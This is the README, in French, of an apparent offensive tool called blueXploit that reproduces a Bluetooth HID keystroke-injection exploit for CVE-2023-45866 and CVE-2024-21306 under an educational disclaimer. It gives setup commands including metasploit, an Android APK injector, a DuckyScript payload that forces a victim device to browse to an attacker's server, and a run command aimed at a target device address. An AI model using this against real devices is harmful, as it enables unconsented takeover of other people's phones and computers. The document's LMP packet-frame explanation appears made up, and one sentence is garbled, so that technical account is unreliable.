
Exploit basé sur des vulnérabilités critiques Bluetooth (CVE-2023-45866, CVE-2024-21306)

Attribution. La vulnérabilité et l'exploit original sont le travail de Marc Newlin (hi_my_name_is_keyboard) — je ne revendique pas la découverte. Ce dépôt est une reproduction construite pour comprendre et documenter le bug ; par-dessus, blueXploit ajoute un exécuteur de payloads de style DuckyScript, un mécanisme de reconnexion/réessai, et un assistant optionnel d'injection d'APK Android. Tout ce qui se trouve ici est destiné uniquement à l'éducation et à la recherche.
Ces vulnérabilités critiques (CVE-2023-45866, CVE-2024-21306) permettent à un attaquant d'injecter des frappes et d'accepter des demandes d'appairage sans confirmation de l'utilisateur. Cela affecte gravement la sécurité de plusieurs systèmes d'exploitation.
Basé sur l'exploit original de Marc Newlin.
Installation des dépendances
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
blueXploit inclut des outils pour exploiter les vulnérabilités sur les appareils Android, offrant deux composants principaux et un programme supplémentaire appelé apkpwn_injector, situé dans le dossier injector.
.apk existantes dans le dossier apk_clean.Ces fonctionnalités permettent un flux d'attaque efficace et simplifié dans des environnements contrôlés ou pour des tests d'intrusion.

cd injector
python3 apkpwn_injector.py
Les commandes clés exécutées par blueXploit sont chargées depuis le dossier /injector/payloads/ au format .txt, avec une syntaxe simple et facile à comprendre.
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
Changez l'adresse IP par celle où le serveur est hébergé.
Détection et énumération des appareils
bluetoothctl
Rechercher des appareils Bluetooth
scan on
Exécuter
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
Sélectionnez ensuite la charge utile requise, préalablement configurée.
La démo complète se trouve dans cette vidéo
Cette vulnérabilité est exploitée à un bas niveau du protocole Bluetooth, en manipulant principalement le profil HID et le protocole L2CAP pour injecter des frappes clavier dans un appareil victime.
La pile Bluetooth comprend plusieurs couches, telles que le Link Manager Protocol (LMP), la Host Controller Interface (HCI) et L2CAP. Cette attaque utilise principalement les deux dernières :
HCI : la configuration de l'adaptateur est manipulée afin qu'il se présente comme un périphérique HID légitime.
L2CAP : responsable du multiplexage des données entre les appareils, L2CAP utilise le canal 17 (HID Control) et le canal 19 (HID Interrupt) pour la communication HID, ce qui peut être exploité pour envoyer des séquences de touches.
CVE-2023-45866 est une vulnérabilité du Link Manager Protocol (LMP), exploitée via une attaque de « forced pairing ». Voici comment elle est menée techniquement :
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
Dans cette trame de données :
0x01 : demande d'appairage LMP0x01 : demande d'authentification LMP (PIN)0x00 0x00 0x00 0x00 : informations de PIN faible, généralement 0000Ici, l'exploit tire parti de l'absence de configuration et d'authentification pour ce paquet, ce qui finit par renvoyer :
LMP Accept: 0x02 0x00 0x00 0x00 0x00
Dans cette trame de données :
0x02 : demande d'appairage LMP ACCEPTÉE0x00 0x00 0x00 0x00 : informations de PIN malformées renvoyéesSi la clé n'est pas validée correctement, la connexion est établie mais sans véritable appairage, de sorte qu'un paquet LMP d'appairage forcé peut être envoyé comme ceci :
LMP Forced Pairing: 0x03 0x01 0x0000
L'authentification peut ensuite être forcée à l'aide de clés précédemment divulguées (telles que « 0000 ») et un canal de communication chiffré peut être établi, appairant les appareils sans passer par un processus de vérification approprié.
Cela crée un appairage à l'insu de l'utilisateur, et même sans aucune fenêtre d'appairage ni notification.
La faille de ce CVE réside dans le fait que certains appareils ne valident pas correctement les requêtes d'authentification LMP, ou finissent par réutiliser d'anciennes clés.